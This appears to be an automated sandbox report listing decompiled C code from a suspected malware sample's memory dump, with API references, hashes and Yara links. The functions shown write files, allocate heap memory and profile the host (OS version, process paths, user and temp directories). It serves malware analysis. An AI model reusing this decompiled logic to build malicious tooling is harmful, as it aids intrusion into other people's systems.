Instruction ID: 2336290dd98dabc25e18f7a79f1312269207d3c0219d1a772d0d688987e78d2c
Opcode Fuzzy Hash: 34ee8c9432c501ef63b31a96de4864626031fe048823fd25d1229eb6e9450f54
Instruction Fuzzy Hash: 90F0A732700124ABE744BBADEC858DAB3ECBF95394714412AF506D3251DEB4EE4087A0

Uniqueness

Uniqueness Score: -1.00%

Function 0008A69E, Relevance: 1.5, APIs: 1, Instructions: 37
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0008A69E(void* __ecx, void* __edx, intOrPtr _a4) {
				long _v8;
				void* _v12;
				void* _t13;
				void* _t21;
				void* _t23;
				void* _t26;

				_t23 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t26 = 0;
				_v12 = __ecx;
				_t21 = __edx;
				if(_a4 == 0) {
					L3:
					_t13 = 1;
				} else {
					while(1) {
						_v8 = _v8 & 0x00000000;
						if(WriteFile(_t23, _t26 + _t21, _a4 - _t26,  &_v8, 0) == 0) {
							break;
						}
						_t26 = _t26 + _v8;
						_t23 = _v12;
						if(_t26 < _a4) {
							continue;
						} else {
							goto L3;
						}
						goto L4;
					}
					_t13 = 0;
				}
				L4:
				return _t13;
			}

APIs

WriteFile.KERNELBASE(00000000,?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00088F32,?), ref: 0008A6CB

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 5df19e21d3ddb09ad6c4c11454da19da2bcff3529875a62912f8edc0b597093c
Instruction ID: 3b3a24cdd749207699913458ac36c45aa91115effdf29cba6fb9c3bdeed8a2c2
Opcode Fuzzy Hash: 5df19e21d3ddb09ad6c4c11454da19da2bcff3529875a62912f8edc0b597093c
Instruction Fuzzy Hash: 08F01D72A10118BFEB10DF98C884BAA77ECFB05790F24456AB545E7104E670EE5097A1

Uniqueness

Uniqueness Score: -1.00%

Function 0008A639, Relevance: 1.5, APIs: 1, Instructions: 32
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008A639(WCHAR* __ecx, long __edx) {
				intOrPtr _t6;
				long _t12;
				void* _t13;

				_t12 = __edx;
				_t13 = CreateFileW(__ecx, 0x40000000, 0, 0, __edx, 0x80, 0);
				if(_t13 != 0xffffffff) {
					if(_t12 == 4) {
						_t6 =  *0x9e684; // 0xa7f8f0
						 *((intOrPtr*)(_t6 + 0x80))(_t13, 0, 0, 2);
					}
					return _t13;
				}
				return 0;
			}

0x0008a643
0x0008a657
0x0008a65c
0x0008a665
0x0008a667
0x0008a671
0x0008a671
0x00000000
0x0008a677
0x00000000

APIs

CreateFileW.KERNELBASE(00000000,40000000,00000000,00000000,00000001,00000080,00000000,00000000,00000000,00000000,00088F1A), ref: 0008A654

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b3b88b4ae18cf6f2a9577180b67bb23ad81d8c5397a9feafbeb8474c43ba8e57
Instruction ID: 65d9eedc006a2cfd8ac97b7fb51b928860c26b0144ef5deb2ecb816d2393883e
Opcode Fuzzy Hash: b3b88b4ae18cf6f2a9577180b67bb23ad81d8c5397a9feafbeb8474c43ba8e57
Instruction Fuzzy Hash: EFE09AB2700114BEF76066689CC8F7B269CF7967F9F060332F691C31A0D6208C004371

Uniqueness

Uniqueness Score: -1.00%

Function 0008A67D, Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0008A67D(WCHAR* __ecx) {
				signed int _t5;

				_t5 = CreateFileW(__ecx, 0x80000000, 1, 0, 3, 0, 0);
				_t2 = _t5 + 1; // 0x1
				asm("sbb ecx, ecx");
				return _t5 &  ~_t2;
			}

0x0008a691
0x0008a694
0x0008a699
0x0008a69d

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,0008A70B,00000000,00000400,00000000,0008F8F7,0008F8F7,?,0008FA98,00000000), ref: 0008A691

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bae718c7ab4e0e70489fab14bbe76478ebf5004892df9015de5de8492d217ac9
Instruction ID: 701424f55706607c20a779b1f605f6a3a9bf58f01b0c22295887d68b81bdb902
Opcode Fuzzy Hash: bae718c7ab4e0e70489fab14bbe76478ebf5004892df9015de5de8492d217ac9
Instruction Fuzzy Hash: FCD012B23A0100BEFB2C8B34CD5AF72329CE710701F22025C7A06EA0E1CA69E9048720

Uniqueness

Uniqueness Score: -1.00%

Function 000885E5, Relevance: 1.5, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000885E5(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x9e768, 8, _a4); // executed
				return _t2;
			}

0x000885f3
0x000885fa

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ddb3e1c4ab0669bcfb8209207dba11c67ad5171ec27cd050d23215c9b0b1c0cb
Instruction ID: 357be25924eba7ef04d183b2a47d12fe0e858354009690af1988e616ee4df9af
Opcode Fuzzy Hash: ddb3e1c4ab0669bcfb8209207dba11c67ad5171ec27cd050d23215c9b0b1c0cb
Instruction Fuzzy Hash: 7FB09235084A08BBFE811B81ED09A847F69FB45A59F008012F608081708A6668649B82

Uniqueness

Uniqueness Score: -1.00%

Function 000885D0, Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000885D0() {
				void* _t1;

				_t1 = HeapCreate(0, 0x80000, 0); // executed
				 *0x9e768 = _t1;
				return _t1;
			}

0x000885d9
0x000885df
0x000885e4

APIs

HeapCreate.KERNELBASE(00000000,00080000,00000000,00085F88), ref: 000885D9

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 00561236055616d99284d0ac28147584d6f24b32db06d54aa00206475b8ac17a
Instruction ID: a1789a6bc8b77e7cca538026a270896d431aa116e0d29a0d1dd02ebd4a2bf545
Opcode Fuzzy Hash: 00561236055616d99284d0ac28147584d6f24b32db06d54aa00206475b8ac17a
Instruction Fuzzy Hash: E5B01270684700A6F2905B609C06B007550B340F0AF304003F704582D0CAB41004CB16

Uniqueness

Uniqueness Score: -1.00%

Function 0008FA01, Relevance: 1.4, APIs: 1, Instructions: 117
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0008FA01(void* __edx) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _t25;
				char _t26;
				intOrPtr _t28;
				void* _t30;
				void* _t35;
				char _t37;
				intOrPtr _t38;
				char _t41;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr* _t62;
				intOrPtr _t65;
				char* _t66;
				intOrPtr _t68;
				char _t77;
				void* _t80;
				void* _t81;

				_t25 =  *0x9e654; // 0xa7fd30
				_t26 = E000885E5( *((intOrPtr*)(_t25 + 4))); // executed
				_v12 = _t26;
				if(_t26 != 0) {
					_t62 =  *0x9e654; // 0xa7fd30
					if( *((intOrPtr*)(_t62 + 4)) > 0x400) {
						E000886C2(_t26,  *_t62, 0x400);
						_v8 = 0;
						_t35 = E0008109A(_t62, 0x34a);
						_t65 =  *0x9e688; // 0xf0000
						_t71 =  !=  ? 0x67d : 0x615;
						_t37 = E000895C2(_t65,  !=  ? 0x67d : 0x615);
						_push(0);
						_push(_t35);
						_t66 = "\\";
						_v24 = _t37;
						_push(_t66);
						_push(_t37);
						_t38 =  *0x9e688; // 0xf0000
						_push(_t66);
						_v20 = E000892C6(_t38 + 0x1020);
						_t41 = E0008A6EB( &_v8, _t40,  &_v8); // executed
						_v16 = _t41;
						E000885B6( &_v24);
						E000885B6( &_v20);
						_t72 = _v16;
						_t81 = _t80 + 0x3c;
						_t68 = _v8;
						if(_v16 != 0 && _t68 > 0x400) {
							_t50 =  *0x9e654; // 0xa7fd30
							_t51 =  *((intOrPtr*)(_t50 + 4));
							_t52 =  <  ? _t68 : _t51;
							_t53 = ( <  ? _t68 : _t51) + 0xfffffc00;
							E000886C2(_v12 + 0x400, _t72 + 0x400, ( <  ? _t68 : _t51) + 0xfffffc00);
							_t68 = _v8;
							_t81 = _t81 + 0xc;
						}
						E000885FB( &_v16, _t68);
						E000885FB( &_v20, 0xfffffffe);
						_t26 = _v12;
						_t80 = _t81 + 0x10;
					}
					_t77 = 0;
					while(1) {
						_t28 =  *0x9e688; // 0xf0000
						_t30 = E0008A7BF(_t28 + 0x228, _t26, 0x1000); // executed
						_t80 = _t80 + 0xc;
						if(_t30 >= 0) {
							break;
						}
						Sleep(1);
						_t77 = _t77 + 1;
						if(_t77 < 0x2710) {
							_t26 = _v12;
							continue;
						}
						break;
					}
					E000885FB( &_v12, 0); // executed
				}
				return 0;
			}

APIs

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

Sleep.KERNELBASE(00000001,00000000,00000000,00000000,?,?,?,?,0008F8F7,?,?,?,0008FCF1,00000000), ref: 0008FB2A

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeapSleep
String ID:
API String ID: 4201116106-0
Opcode ID: d68a646d2344ac828fa76e3ecc06b687a9b84599593ed92843628a8baa651d08
Instruction ID: 171361de703645103d6c8e367bb5da180907a659175838bdfb3d2b3c7c862fc3
Opcode Fuzzy Hash: d68a646d2344ac828fa76e3ecc06b687a9b84599593ed92843628a8baa651d08
Instruction Fuzzy Hash: 72317C71A00205ABEB00FBA8CD86EEE77BDFB44314B54417AF545E7242EB34EE018B51

Uniqueness

Uniqueness Score: -1.00%

Function 00085D5E, Relevance: 1.3, APIs: 1, Instructions: 49
stringCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00085D5E(void* __eflags) {
				char _v44;
				intOrPtr _t7;
				intOrPtr _t10;
				void* _t11;
				WCHAR* _t12;
				WCHAR* _t13;
				WCHAR* _t14;
				intOrPtr _t15;
				intOrPtr _t19;
				intOrPtr _t22;
				void* _t27;
				WCHAR* _t28;

				_t7 =  *0x9e688; // 0xf0000
				E0008A8AF( &_v44,  *((intOrPtr*)(_t7 + 0xac)) + 4, __eflags);
				_t10 =  *0x9e684; // 0xa7f8f0
				_t28 = 2;
				_t11 =  *((intOrPtr*)(_t10 + 0xbc))(_t28, 0,  &_v44, _t27);
				if(_t11 == 0) {
					_t22 =  *0x9e688; // 0xf0000
					_t12 = E00085967( *((intOrPtr*)(_t22 + 0xac)), 0, __eflags); // executed
					 *0x9e6ac = _t12;
					__eflags = _t12;
					if(_t12 != 0) {
						_t14 = E00089E86();
						__eflags = _t14;
						if(_t14 == 0) {
							_t28 = 0;
							__eflags = 0;
						} else {
							_t15 =  *0x9e688; // 0xf0000
							lstrcmpiW(_t15 + 0x228, _t14);
							asm("sbb esi, esi");
							_t28 = _t28 + 1;
						}
					}
					_t13 = _t28;
				} else {
					_t19 =  *0x9e684; // 0xa7f8f0
					 *((intOrPtr*)(_t19 + 0x30))(_t11);
					_t13 = 3;
				}
				return _t13;
			}

APIs

lstrcmpiW.KERNEL32(000EFDD8,00000000), ref: 00085DD3

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d00af6409d9d7730e6402a6d54878263d571b594aa651e185e1b640024ca091e
Instruction ID: 957ebf8be2e43ef87ec0c01ee90cc132d95222f8a4e09199d2deefdb12ca5e3d
Opcode Fuzzy Hash: d00af6409d9d7730e6402a6d54878263d571b594aa651e185e1b640024ca091e
Instruction Fuzzy Hash: 41017171200211DFFB60FB69DC4AF9A37E8BB58781F554026F541EB191DA24EC00CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0008BA47, Relevance: 1.3, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008BA47() {
				signed int _v8;
				signed int _v12;
				intOrPtr _t15;
				void* _t16;
				void* _t18;
				void* _t21;
				intOrPtr _t22;
				void* _t24;
				void* _t30;

				_v8 = _v8 & 0x00000000;
				_t15 =  *0x9e68c; // 0xa7fab8
				_t16 =  *((intOrPtr*)(_t15 + 0x70))(_t24, 8,  &_v8, _t24, _t24);
				if(_t16 != 0) {
					_v12 = _v12 & 0x00000000;
					_t18 = E0008B9DA(1,  &_v12); // executed
					_t30 = _t18;
					if(_t30 != 0) {
						CloseHandle(_v8);
						_t21 = _t30;
					} else {
						if(_v8 != _t18) {
							_t22 =  *0x9e684; // 0xa7f8f0
							 *((intOrPtr*)(_t22 + 0x30))(_v8);
						}
						_t21 = 0;
					}
					return _t21;
				} else {
					return _t16;
				}
			}

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 453c99902ca0ae88522ce620eebd1f40cd1c7a33b57eec06d8be87d04b3e209a
Instruction ID: 815ab03c788eb77f07b59f13ad057621fe900600088db3fca712d88f36ab8c21
Opcode Fuzzy Hash: 453c99902ca0ae88522ce620eebd1f40cd1c7a33b57eec06d8be87d04b3e209a
Instruction Fuzzy Hash: B6F08C32A10109EFDF24EBA4C945A9E77F8FB54399F1140A5F141E7160DB34DE00EB51

Uniqueness

Uniqueness Score: -1.00%

Function 000885FB, Relevance: 1.3, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000885FB(int _a4, intOrPtr _a8) {
				int _t3;
				intOrPtr _t4;
				void* _t9;

				_t3 = _a4;
				if(_t3 == 0) {
					return _t3;
				}
				_t9 =  *_t3;
				if(_t9 != 0) {
					 *_t3 =  *_t3 & 0x00000000;
					_t4 = _a8;
					if(_t4 != 0xffffffff) {
						if(_t4 == 0xfffffffe) {
							_t4 = E0008C3D4(_t9);
						}
					} else {
						_t4 = E0008C3BB(_t9);
					}
					E00088730(_t9, 0, _t4);
					_t3 = HeapFree( *0x9e768, 0, _t9); // executed
				}
				return _t3;
			}

APIs

HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00088641

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 14da9eea63f4fc1ca8dcbff6d1e36c3ea547d303668a5e84f77016895f7a9f75
Instruction ID: ac77b0697af9c8c148687bd0fcb5b8090f73c4e4272c6babf244afc233e7cf0e
Opcode Fuzzy Hash: 14da9eea63f4fc1ca8dcbff6d1e36c3ea547d303668a5e84f77016895f7a9f75
Instruction Fuzzy Hash: E1F0E5319015146BEA603B24AC01FAE3398BF01B35FA48241F954AB2D1EF30AD1187EA

Uniqueness

Uniqueness Score: -1.00%

Function 0008A7BF, Relevance: 1.3, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0008A7BF(WCHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _t5;
				void* _t6;
				void* _t10;
				long _t15;
				void* _t17;

				_t15 = 2;
				_t5 = E0008A639(_a4, _t15);
				_t17 = _t5;
				if(_t17 != 0) {
					_t6 = E0008A69E(_t17, _a8, _a12); // executed
					if(_t6 != 0) {
						CloseHandle(_t17);
						return 0;
					}
					_t10 = 0xfffffffe;
					return _t10;
				}
				return _t5 | 0xffffffff;
			}

0x0008a7c8
0x0008a7c9
0x0008a7ce
0x0008a7d2
0x0008a7e1
0x0008a7e9
0x0008a7f6
0x00000000
0x0008a7f9
0x0008a7ed
0x00000000
0x0008a7ed
0x00000000

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 42b09d797248cff8d887e946ca716a5ac2831457aee0cabffcae931d5b2cbaf9
Instruction ID: 11d377bfced09ec304d4c34b3eaadc9c69979dba6303b6e1dfc591ea1d43a9f4
Opcode Fuzzy Hash: 42b09d797248cff8d887e946ca716a5ac2831457aee0cabffcae931d5b2cbaf9
Instruction Fuzzy Hash: 02E0D1363086155FAB21BA68DC50D9E37547F463707104713F955CBAC1EE30DD515786

Uniqueness

Uniqueness Score: -1.00%

Function 0008B379, Relevance: 1.3, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0008B379(void* __ecx) {
				intOrPtr _t4;
				void* _t5;
				intOrPtr _t6;
				void* _t12;
				void* _t13;

				_t4 =  *0x9e684; // 0xa7f8f0
				_t13 = 0;
				_t5 =  *((intOrPtr*)(_t4 + 0xbc))(2, 0, __ecx);
				_t12 = _t5;
				if(_t12 != 0) {
					_t6 =  *0x9e684; // 0xa7f8f0
					_push(_t12);
					if( *((intOrPtr*)(_t6 + 0xc0))() != 0) {
						_t13 = 1;
					}
					CloseHandle(_t12);
					return _t13;
				}
				return _t5;
			}

0x0008b379
0x0008b381
0x0008b386
0x0008b38c
0x0008b390
0x0008b392
0x0008b397
0x0008b3a0
0x0008b3a4
0x0008b3a4
0x0008b3ac
0x00000000
0x0008b3af
0x0008b3b3

APIs

CloseHandle.KERNELBASE(00000000,?,00000000,00083C7D,?,?,?,?,?,?,?,?,00083D62,00000000), ref: 0008B3AC

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 1aa3408248094b525e3aa245139550e6978348c105a51532174060b81b91920c
Instruction ID: b27caacabd71a5798e5e7691a423994bccf3ed3b32d79844e5c1f18ba8ff3e42
Opcode Fuzzy Hash: 1aa3408248094b525e3aa245139550e6978348c105a51532174060b81b91920c
Instruction Fuzzy Hash: 7BE04F333001209BE6619B69EC4CF677AA9FBD5AA1B060169F905C7211CB248C02C7A1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0008D061, Relevance: 31.8, APIs: 13, Strings: 5, Instructions: 282
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0008D061(void* __fp0) {
				char _v8;
				char _v12;
				char _v16;
				struct _SYSTEM_INFO _v52;
				char _v180;
				char _v692;
				char _v704;
				char _v2680;
				void* __esi;
				struct _OSVERSIONINFOA* _t81;
				intOrPtr _t83;
				void* _t84;
				long _t86;
				intOrPtr* _t88;
				intOrPtr _t90;
				intOrPtr _t95;
				intOrPtr _t97;
				void* _t98;
				intOrPtr _t103;
				char* _t105;
				void* _t108;
				char _t115;
				signed int _t117;
				char _t119;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t130;
				intOrPtr _t134;
				intOrPtr _t147;
				intOrPtr _t149;
				intOrPtr _t152;
				intOrPtr _t154;
				signed int _t159;
				struct HINSTANCE__* _t162;
				short* _t164;
				intOrPtr _t167;
				WCHAR* _t168;
				char* _t169;
				intOrPtr _t181;
				intOrPtr _t200;
				void* _t215;
				char _t218;
				void* _t219;
				char* _t220;
				struct _OSVERSIONINFOA* _t222;
				void* _t223;
				int* _t224;
				void* _t241;

				_t241 = __fp0;
				_t162 =  *0x9e69c; // 0x6c4d0000
				_t81 = E000885E5(0x1ac4);
				_t222 = _t81;
				if(_t222 == 0) {
					return _t81;
				}
				 *((intOrPtr*)(_t222 + 0x1640)) = GetCurrentProcessId();
				_t83 =  *0x9e684; // 0xa7f8f0
				_t84 =  *((intOrPtr*)(_t83 + 0xa0))(_t215);
				_t3 = _t222 + 0x648; // 0x648
				E00092339( *((intOrPtr*)(_t222 + 0x1640)) + _t84, _t3);
				_t5 = _t222 + 0x1644; // 0x1644
				_t216 = _t5;
				_t86 = GetModuleFileNameW(0, _t5, 0x105);
				_t227 = _t86;
				if(_t86 != 0) {
					 *((intOrPtr*)(_t222 + 0x1854)) = E00088F9F(_t216, _t227);
				}
				GetCurrentProcess();
				_t88 = E0008BA47();
				 *((intOrPtr*)(_t222 + 0x110)) = _t88;
				_t178 =  *_t88;
				if(E0008BBCF( *_t88) == 0) {
					_t90 = E0008BAA4(_t178, _t222);
					__eflags = _t90;
					_t181 = (0 | _t90 > 0x00000000) + 1;
					__eflags = _t181;
					 *((intOrPtr*)(_t222 + 0x214)) = _t181;
				} else {
					 *((intOrPtr*)(_t222 + 0x214)) = 3;
				}
				_t12 = _t222 + 0x220; // 0x220
				 *((intOrPtr*)(_t222 + 0x218)) = E0008E433(_t12);
				 *((intOrPtr*)(_t222 + 0x21c)) = E0008E3F8(_t12);
				_push( &_v16);
				 *(_t222 + 0x224) = _t162;
				_push( &_v8);
				_v12 = 0x80;
				_push( &_v692);
				_v8 = 0x100;
				_push( &_v12);
				_t22 = _t222 + 0x114; // 0x114
				_push( *((intOrPtr*)( *((intOrPtr*)(_t222 + 0x110)))));
				_t95 =  *0x9e68c; // 0xa7fab8
				_push(0);
				if( *((intOrPtr*)(_t95 + 0x6c))() == 0) {
					GetLastError();
				}
				_t97 =  *0x9e694; // 0xa7fa48
				_t98 =  *((intOrPtr*)(_t97 + 0x3c))(0x1000);
				_t26 = _t222 + 0x228; // 0x228
				 *(_t222 + 0x1850) = 0 | _t98 > 0x00000000;
				GetModuleFileNameW( *(_t222 + 0x224), _t26, 0x105);
				GetLastError();
				_t31 = _t222 + 0x228; // 0x228
				 *((intOrPtr*)(_t222 + 0x434)) = E00088F9F(_t31, _t98);
				_t34 = _t222 + 0x114; // 0x114
				_t103 = E0008B7EA(_t34,  &_v692);
				_t35 = _t222 + 0xb0; // 0xb0
				 *((intOrPtr*)(_t222 + 0xac)) = _t103;
				_push(_t35);
				E0008B6BF(_t103, _t35, _t98, _t241);
				_t37 = _t222 + 0xb0; // 0xb0
				_t105 = _t37;
				_t38 = _t222 + 0xd0; // 0xd0
				_t164 = _t38;
				if(_t105 != 0) {
					_t159 = MultiByteToWideChar(0, 0, _t105, 0xffffffff, _t164, 0x20);
					if(_t159 > 0) {
						_t164[_t159] = 0;
					}
				}
				_t41 = _t222 + 0x438; // 0x438
				_t42 = _t222 + 0x228; // 0x228
				E00088FB9(_t42, _t41);
				_t43 = _t222 + 0xb0; // 0xb0
				_t108 = E0008D442(_t43, E0008C3BB(_t43), 0);
				_t44 = _t222 + 0x100c; // 0x100c
				E0008B8CC(_t108, _t44, _t241);
				_t199 = GetCurrentProcess();
				 *((intOrPtr*)(_t222 + 0x101c)) = E0008BC21(_t110);
				memset(_t222, 0, 0x9c);
				_t224 = _t223 + 0xc;
				_t222->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t222);
				_t167 =  *0x9e684; // 0xa7f8f0
				_t115 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(_t167 + 0x6c)) != 0) {
					 *((intOrPtr*)(_t167 + 0x6c))(GetCurrentProcess(),  &_v8);
					_t115 = _v8;
				}
				 *((intOrPtr*)(_t222 + 0xa8)) = _t115;
				if(_t115 == 0) {
					GetSystemInfo( &_v52);
					_t117 = _v52.dwOemId & 0x0000ffff;
				} else {
					_t117 = 9;
				}
				_t54 = _t222 + 0x1020; // 0x1020
				_t168 = _t54;
				 *(_t222 + 0x9c) = _t117;
				GetWindowsDirectoryW(_t168, 0x104);
				_t119 = E000895C2(_t199, 0x10c);
				_t200 =  *0x9e684; // 0xa7f8f0
				_t218 = _t119;
				 *_t224 = 0x104;
				_push( &_v704);
				_push(_t218);
				_v8 = _t218;
				if( *((intOrPtr*)(_t200 + 0xe0))() == 0) {
					_t154 =  *0x9e684; // 0xa7f8f0
					 *((intOrPtr*)(_t154 + 0xfc))(_t218, _t168);
				}
				E000885B6( &_v8);
				_t124 =  *0x9e684; // 0xa7f8f0
				_t61 = _t222 + 0x1434; // 0x1434
				_t219 = _t61;
				 *_t224 = 0x209;
				_push(_t219);
				_push(L"USERPROFILE");
				if( *((intOrPtr*)(_t124 + 0xe0))() == 0) {
					E00089621(_t219, 0x105, L"%s\\%s", _t168);
					_t152 =  *0x9e684; // 0xa7f8f0
					_t224 =  &(_t224[5]);
					 *((intOrPtr*)(_t152 + 0xfc))(L"USERPROFILE", _t219, "TEMP");
				}
				_push(0x20a);
				_t64 = _t222 + 0x122a; // 0x122a
				_t169 = L"TEMP";
				_t127 =  *0x9e684; // 0xa7f8f0
				_push(_t169);
				if( *((intOrPtr*)(_t127 + 0xe0))() == 0) {
					_t149 =  *0x9e684; // 0xa7f8f0
					 *((intOrPtr*)(_t149 + 0xfc))(_t169, _t219);
				}
				_push(0x40);
				_t220 = L"SystemDrive";
				_push( &_v180);
				_t130 =  *0x9e684; // 0xa7f8f0
				_push(_t220);
				if( *((intOrPtr*)(_t130 + 0xe0))() == 0) {
					_t147 =  *0x9e684; // 0xa7f8f0
					 *((intOrPtr*)(_t147 + 0xfc))(_t220, L"C:");
				}
				_v8 = 0x7f;
				_t72 = _t222 + 0x199c; // 0x199c
				_t134 =  *0x9e684; // 0xa7f8f0
				 *((intOrPtr*)(_t134 + 0xb0))(_t72,  &_v8);
				_t75 = _t222 + 0x100c; // 0x100c
				E00092339(E0008D442(_t75, E0008C3BB(_t75), 0),  &_v2680);
				_t76 = _t222 + 0x1858; // 0x1858
				E0009230B( &_v2680, _t76, 0x20);
				_t79 = _t222 + 0x1878; // 0x1878
				E0008900E(1, _t79, 0x14, 0x1e,  &_v2680);
				 *((intOrPtr*)(_t222 + 0x1898)) = E0008CD75(_t79);
				return _t222;
			}

APIs

Part of subcall function 000885E5: RtlAllocateHeap.NTDLL(00000008,?,?,00088F65,00000100,?,00085FAC), ref: 000885F3

GetCurrentProcessId.KERNEL32 ref: 0008D088
GetModuleFileNameW.KERNEL32(00000000,00001644,00000105), ref: 0008D0C4
GetCurrentProcess.KERNEL32 ref: 0008D0E1
GetLastError.KERNEL32 ref: 0008D180
GetModuleFileNameW.KERNEL32(?,00000228,00000105), ref: 0008D1AE
GetLastError.KERNEL32 ref: 0008D1B4
MultiByteToWideChar.KERNEL32(00000000,00000000,000000B0,000000FF,000000D0,00000020), ref: 0008D209
GetCurrentProcess.KERNEL32 ref: 0008D250
memset.MSVCRT ref: 0008D26B
GetVersionExA.KERNEL32(00000000), ref: 0008D276
GetCurrentProcess.KERNEL32(00000100), ref: 0008D290
GetSystemInfo.KERNEL32(?), ref: 0008D2AC
GetWindowsDirectoryW.KERNEL32(00001020,00000104), ref: 0008D2C9

Strings

TEMP, xrefs: 0008D335
TEMP, xrefs: 0008D36A, 0008D375, 0008D386
USERPROFILE, xrefs: 0008D326, 0008D354
%s\%s, xrefs: 0008D33B
SystemDrive, xrefs: 0008D395, 0008D3A0, 0008D3B5

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: CurrentProcess$ErrorFileLastModuleName$AllocateByteCharDirectoryHeapInfoMultiSystemVersionWideWindowsmemset
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 3876402152-2706916422
Opcode ID: 226e79bad5fb7f9788de4cb2dad9dc51b47af759b612dd05d72816679144c00e
Instruction ID: 9ed2d69f337547a45f1d04cc2ab2b4c9a19ce2c92f2bac6279536e5c09292047
Opcode Fuzzy Hash: 226e79bad5fb7f9788de4cb2dad9dc51b47af759b612dd05d72816679144c00e
Instruction Fuzzy Hash: 9DB16D71600704AFE710EB74DD89FEA77E8FF58300F00452AF59AD7292EB74AA448B21

Uniqueness

Uniqueness Score: -1.00%

Function 0008DB7E, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 388
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0008DB7E(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v72;
				signed short _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				char _v616;
				intOrPtr* _t159;
				char _t165;
				signed int _t166;
				signed int _t173;
				signed int _t178;
				signed int _t186;
				intOrPtr* _t187;
				signed int _t188;
				signed int _t192;
				intOrPtr* _t193;
				intOrPtr _t200;
				intOrPtr* _t205;
				signed int _t207;
				signed int _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				signed int _t214;
				char _t217;
				signed int _t218;
				signed int _t219;
				signed int _t230;
				signed int _t235;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t247;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr* _t253;
				void* _t255;
				intOrPtr* _t261;
				signed int _t262;
				signed int _t283;
				signed int _t289;
				char* _t298;
				void* _t320;
